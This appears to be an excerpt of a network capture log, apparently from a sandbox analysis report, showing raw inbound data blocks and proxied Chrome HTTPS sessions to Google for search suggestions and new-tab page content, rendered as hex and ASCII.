Nov 24, 2024 19:13:23.976011038 CET	736	IN	Data Raw: cd 81 3b bc 8e 64 ea fa 8a b3 99 66 57 51 26 10 0a b9 73 f6 c3 7f 64 d5 91 62 6e fc 26 c2 22 9c 39 2a 0d c1 cd 57 ff c6 1f ae 4e 17 e3 c0 69 96 a9 34 5f 40 3d ff 82 d2 e7 7d 74 e1 db 3c dc cd 23 dc 85 3d ce 7e e9 4c fb 34 04 c6 39 55 00 c1 f3 6f Data Ascii: ;dfWQ&sdbn&"9WNi4_@=}t<#=~L49Uo__3xV`yI#@R}ueqhuewH{I:aniQW]\|H`v/w~C[=w#:YR2)32*t(R3`0kdwNC
Nov 24, 2024 19:13:23.976978064 CET	1236	IN	Data Raw: a7 23 75 d9 4a cc 09 e0 ce d5 34 42 d5 9e 1a c8 d1 6e 5f e5 ee 81 7e 6c 10 bc 28 8b 4e b4 85 d7 7e d7 8d 76 5a 15 1d 94 d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 Data Ascii: #uJ4Bn_~l(N~vZ\ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L
Nov 24, 2024 19:13:23.977010012 CET	1236	IN	Data Raw: a0 c5 f8 5f db ba 96 de f8 e3 5f bb 9a ae ff a9 31 c0 05 dc 69 9d 42 ec 96 12 34 8d 46 b3 8f 84 c1 7d 5a 45 78 4d 39 a6 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 Data Ascii: __1iB4F}ZExM94.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Uny1'-s^b=}
Nov 24, 2024 19:13:23.977019072 CET	1236	IN	Data Raw: 51 51 ef d8 1f 32 39 5f b3 0f cc 25 d7 71 83 b7 85 12 f3 32 b3 d6 b5 2f cb 22 4d 58 28 ab 60 f3 ce 02 4f 7f 73 d8 de 54 41 e6 bb 74 5c f4 40 f0 ea c8 95 dc fe 60 16 0f 78 d7 a0 bf 55 46 df 1f a5 fc a6 a2 0f 7a a2 b4 8f e2 1a db da 83 a9 f8 4d c9 Data Ascii: QQ29_%q2/"MX(`OsTAt\@`xUFzMe(C--:1}\*q(MZ7vki/1\|<GTrL->}z8@I?chO/M'}:xUWJ#%A"Z2179x
Nov 24, 2024 19:13:24.191201925 CET	1236	IN	Data Raw: cc 5b ff 5b a4 26 37 2b 24 17 99 ac 3f d4 2b c5 0d a8 79 04 c5 6b 06 8a fd 0c 39 9a 83 b2 bb f7 eb 7d 8b 33 ab 2e f8 f1 97 78 de de aa 3b af 14 bb b7 fb 46 63 b6 8c e7 cd a8 51 b1 2c c0 9d 5e ef 49 38 c4 26 79 4c 60 ae 0b 4b 43 a9 03 7b cb db f3 Data Ascii: [[&7+$?+yk9}3.x;FcQ,^I8&yL`KC{t#^<vm$MPEK55I/Z\A[K6w]}#>[Q6_XlgC3(O88=bp^kpH&20#SNRxs;*#kC7!O

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	172.217.21.36	443	3364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:31 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 18:11:31 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 18:11:31 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ATjCmSpgeePvFq3e_49qiA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 18:11:31 UTC	124	IN	Data Raw: 63 62 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 6c 62 22 2c 22 70 65 74 65 72 20 63 61 6e 63 72 6f 20 66 6f 6f 74 62 61 6c 6c 20 63 6f 61 63 68 22 2c 22 77 61 74 63 68 20 79 65 6c 6c 6f 77 73 74 6f 6e 65 20 73 65 61 73 6f 6e 20 35 22 2c 22 75 73 73 20 62 65 6c 6f 69 74 22 2c 22 79 6f 75 74 75 62 65 20 67 61 6d 69 6e 67 20 72 65 63 61 70 22 2c 22 73 70 61 63 65 78 20 Data Ascii: cb1)]}'["",["mlb","peter cancro football coach","watch yellowstone season 5","uss beloit","youtube gaming recap","spacex
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 22 2c 22 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 20 73 74 6f 72 6d 22 2c 22 63 61 61 20 7a 69 6f 6e 20 77 69 6c 6c 69 61 6d 73 6f 6e 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 64 65 74 61 69 6c 22 3a 5b 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 6e 66 6f 22 3a 22 43 Data Ascii: rocket launch","weather forecast snow storm","caa zion williamson"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"C
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 4c 30 78 54 59 6e 46 46 4f 45 49 35 56 46 4e 31 52 33 4e 72 57 45 4a 35 53 58 4e 52 55 6e 56 4d 55 6e 46 4b 61 57 4a 4d 62 45 45 78 51 54 41 79 55 32 34 35 61 46 4e 54 61 32 4a 69 61 56 70 5a 52 7a 51 35 65 69 39 42 53 6b 31 4f 4e 6d 63 77 4b 31 52 79 53 47 68 73 55 6d 46 57 55 48 46 42 55 6b 39 56 63 47 78 77 55 45 73 72 57 45 4e 43 51 6c 52 6d 4d 55 5a 7a 64 6d 46 4e 61 47 34 79 61 58 42 56 56 7a 68 32 65 45 67 30 4b 31 59 30 4e 33 4d 34 4e 45 78 4c 59 31 68 31 53 45 39 72 62 33 68 54 63 46 68 46 52 7a 5a 35 55 46 51 79 61 6e 4e 68 61 6c 46 78 65 6b 74 72 53 32 34 32 53 7a 68 71 61 6e 4a 52 52 7a 46 47 62 46 4e 4e 61 57 4a 42 53 6c 4a 6a 59 6d 73 7a 53 45 74 4f 63 47 39 45 55 6b 55 78 54 6a 59 79 62 56 70 6c 64 6c 4e 71 5a 6e 63 78 52 45 74 56 64 58 46 Data Ascii: L0xTYnFFOEI5VFN1R3NrWEJ5SXNRUnVMUnFKaWJMbEExQTAyU245aFNTa2JiaVpZRzQ5ei9BSk1ONmcwK1RySGhsUmFWUHFBUk9VcGxwUEsrWENCQlRmMUZzdmFNaG4yaXBVVzh2eEg0K1Y0N3M4NExLY1h1SE9rb3hTcFhFRzZ5UFQyanNhalFxektrS242SzhqanJRRzFGbFNNaWJBSlJjYmszSEtOcG9EUkUxTjYybVpldlNqZncxREtVdXF
2024-11-24 18:11:31 UTC	352	IN	Data Raw: 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c Data Ascii: 02},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,
2024-11-24 18:11:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	172.217.21.36	443	3364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:31 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49712	172.217.21.36	443	3364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:31 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 18:11:31 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 24 Nov 2024 18:11:31 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 18:11:31 UTC	372	IN	Data Raw: 31 65 39 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e99)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 36 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700286,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-24 18:11:31 UTC	519	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-24 18:11:31 UTC	460	IN	Data Raw: 31 63 35 0d 0a 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a Data Ascii: 1c5d\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Od\u003dnew _.Nd(_.Jd?_.Jd.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 Data Ascii: 8000d\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u002
2024-11-24 18:11:31 UTC	1390	IN	Data Raw: 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 65 5c 75 30 30 33 64 6e 65 77 20 68 65 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 Data Ascii: is.i\u003da}toString(){return this.i+\"\"}};Yd\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(fe\u003dnew he)};_.ke\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"stri

